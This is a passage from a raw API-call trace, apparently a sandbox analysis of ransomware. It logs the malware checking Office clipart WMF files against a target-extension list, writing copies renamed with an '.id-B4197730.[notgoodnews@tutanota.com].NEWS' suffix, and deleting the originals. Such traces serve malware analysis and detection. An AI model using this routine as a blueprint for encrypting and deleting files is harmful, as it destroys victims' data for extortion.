returned -1 [0085.838] lstrlenW (lpString=".7z") returned 3 [0085.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0085.838] lstrlenW (lpString=".dbf") returned 4 [0085.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0085.838] lstrlenW (lpString=".1cd") returned 4 [0085.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0085.838] lstrlenW (lpString=".jpg") returned 4 [0085.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.839] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0085.839] lstrlenW (lpString="EN00242_.WMF") returned 12 [0085.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0085.840] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=6780) returned 1 [0085.840] CloseHandle (hObject=0x350) returned 1 [0085.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0x220 [0085.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0085.840] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0085.840] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0085.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0085.841] GetLastError () returned 0x0 [0085.841] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1a7c, lpOverlapped=0x0) returned 1 [0086.206] WriteFile (in: hFile=0x37c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1a80, lpOverlapped=0x0) returned 1 [0086.207] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0086.207] WriteFile (in: hFile=0x37c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0086.207] SetEndOfFile (hFile=0x37c) returned 1 [0086.207] CloseHandle (hObject=0x37c) returned 1 [0086.207] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.207] SetEndOfFile (hFile=0x350) returned 1 [0086.209] CloseHandle (hObject=0x350) returned 1 [0086.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0086.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0086.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0086.209] lstrlenW (lpString=".doc") returned 4 [0086.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.209] lstrlenW (lpString=".docx") returned 5 [0086.209] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.209] lstrlenW (lpString=".pdf") returned 4 [0086.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.209] lstrlenW (lpString=".xls") returned 4 [0086.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.209] lstrlenW (lpString=".xlsx") returned 5 [0086.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.209] lstrlenW (lpString=".ppt") returned 4 [0086.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0086.209] lstrlenW (lpString=".zip") returned 4 [0086.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.210] lstrlenW (lpString=".rar") returned 4 [0086.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.210] lstrlenW (lpString=".bz2") returned 4 [0086.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.210] lstrlenW (lpString=".7z") returned 3 [0086.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0086.210] lstrlenW (lpString=".dbf") returned 4 [0086.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0086.210] lstrlenW (lpString=".1cd") returned 4 [0086.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0086.210] lstrlenW (lpString=".jpg") returned 4 [0086.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0086.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0086.210] lstrlenW (lpString=".doc") returned 4 [0086.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.210] lstrlenW (lpString=".docx") returned 5 [0086.210] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.210] lstrlenW (lpString=".pdf") returned 4 [0086.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.210] lstrlenW (lpString=".xls") returned 4 [0086.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.210] lstrlenW (lpString=".xlsx") returned 5 [0086.210] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.210] lstrlenW (lpString=".ppt") returned 4 [0086.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0086.210] lstrlenW (lpString=".zip") returned 4 [0086.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.210] lstrlenW (lpString=".rar") returned 4 [0086.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.210] lstrlenW (lpString=".bz2") returned 4 [0086.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.211] lstrlenW (lpString=".7z") returned 3 [0086.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0086.211] lstrlenW (lpString=".dbf") returned 4 [0086.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0086.211] lstrlenW (lpString=".1cd") returned 4 [0086.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0086.211] lstrlenW (lpString=".jpg") returned 4 [0086.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.211] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.211] lstrlenW (lpString="FD00336_.WMF") returned 12 [0086.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0086.212] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=6068) returned 1 [0086.212] CloseHandle (hObject=0x350) returned 1 [0086.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x220 [0086.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0086.212] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.212] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0086.213] GetLastError () returned 0x0 [0086.213] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x17b4, lpOverlapped=0x0) returned 1 [0086.214] WriteFile (in: hFile=0x37c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x17c0, lpOverlapped=0x0) returned 1 [0086.215] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0086.215] WriteFile (in: hFile=0x37c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0086.215] SetEndOfFile (hFile=0x37c) returned 1 [0086.215] CloseHandle (hObject=0x37c) returned 1 [0086.215] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.215] SetEndOfFile (hFile=0x350) returned 1 [0086.216] CloseHandle (hObject=0x350) returned 1 [0086.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0086.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0086.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0086.217] lstrlenW (lpString=".doc") returned 4 [0086.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.217] lstrlenW (lpString=".docx") returned 5 [0086.217] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.217] lstrlenW (lpString=".pdf") returned 4 [0086.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.217] lstrlenW (lpString=".xls") returned 4 [0086.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.217] lstrlenW (lpString=".xlsx") returned 5 [0086.217] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.217] lstrlenW (lpString=".ppt") returned 4 [0086.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0086.217] lstrlenW (lpString=".zip") returned 4 [0086.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.217] lstrlenW (lpString=".rar") returned 4 [0086.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.217] lstrlenW (lpString=".bz2") returned 4 [0086.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.217] lstrlenW (lpString=".7z") returned 3 [0086.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0086.217] lstrlenW (lpString=".dbf") returned 4 [0086.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0086.217] lstrlenW (lpString=".1cd") returned 4 [0086.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0086.218] lstrlenW (lpString=".jpg") returned 4 [0086.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0086.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0086.218] lstrlenW (lpString=".doc") returned 4 [0086.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.218] lstrlenW (lpString=".docx") returned 5 [0086.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.218] lstrlenW (lpString=".pdf") returned 4 [0086.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.218] lstrlenW (lpString=".xls") returned 4 [0086.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.218] lstrlenW (lpString=".xlsx") returned 5 [0086.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.218] lstrlenW (lpString=".ppt") returned 4 [0086.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0086.218] lstrlenW (lpString=".zip") returned 4 [0086.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.218] lstrlenW (lpString=".rar") returned 4 [0086.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.218] lstrlenW (lpString=".bz2") returned 4 [0086.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.218] lstrlenW (lpString=".7z") returned 3 [0086.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0086.218] lstrlenW (lpString=".dbf") returned 4 [0086.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0086.218] lstrlenW (lpString=".1cd") returned 4 [0086.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0086.218] lstrlenW (lpString=".jpg") returned 4 [0086.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.219] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.219] lstrlenW (lpString="FD00361_.WMF") returned 12 [0086.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0086.219] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=4074) returned 1 [0086.219] CloseHandle (hObject=0x350) returned 1 [0086.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x220 [0086.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0086.219] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.219] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0086.220] GetLastError () returned 0x0 [0086.220] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xfea, lpOverlapped=0x0) returned 1 [0086.221] WriteFile (in: hFile=0x37c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xff0, lpOverlapped=0x0) returned 1 [0086.222] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0086.222] WriteFile (in: hFile=0x37c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0086.222] SetEndOfFile (hFile=0x37c) returned 1 [0086.222] CloseHandle (hObject=0x37c) returned 1 [0086.223] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.223] SetEndOfFile (hFile=0x350) returned 1 [0086.223] CloseHandle (hObject=0x350) returned 1 [0086.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0086.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0086.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0086.224] lstrlenW (lpString=".doc") returned 4 [0086.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.224] lstrlenW (lpString=".docx") returned 5 [0086.224] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.224] lstrlenW (lpString=".pdf") returned 4 [0086.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.224] lstrlenW (lpString=".xls") returned 4 [0086.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.224] lstrlenW (lpString=".xlsx") returned 5 [0086.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.224] lstrlenW (lpString=".ppt") returned 4 [0086.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0086.224] lstrlenW (lpString=".zip") returned 4 [0086.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.224] lstrlenW (lpString=".rar") returned 4 [0086.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.224] lstrlenW (lpString=".bz2") returned 4 [0086.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.225] lstrlenW (lpString=".7z") returned 3 [0086.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0086.225] lstrlenW (lpString=".dbf") returned 4 [0086.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0086.225] lstrlenW (lpString=".1cd") returned 4 [0086.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0086.225] lstrlenW (lpString=".jpg") returned 4 [0086.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0086.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0086.225] lstrlenW (lpString=".doc") returned 4 [0086.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.225] lstrlenW (lpString=".docx") returned 5 [0086.225] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.225] lstrlenW (lpString=".pdf") returned 4 [0086.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.225] lstrlenW (lpString=".xls") returned 4 [0086.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.225] lstrlenW (lpString=".xlsx") returned 5 [0086.225] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.225] lstrlenW (lpString=".ppt") returned 4 [0086.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0086.225] lstrlenW (lpString=".zip") returned 4 [0086.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.225] lstrlenW (lpString=".rar") returned 4 [0086.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.225] lstrlenW (lpString=".bz2") returned 4 [0086.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.225] lstrlenW (lpString=".7z") returned 3 [0086.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0086.226] lstrlenW (lpString=".dbf") returned 4 [0086.226] lstrcmpiW 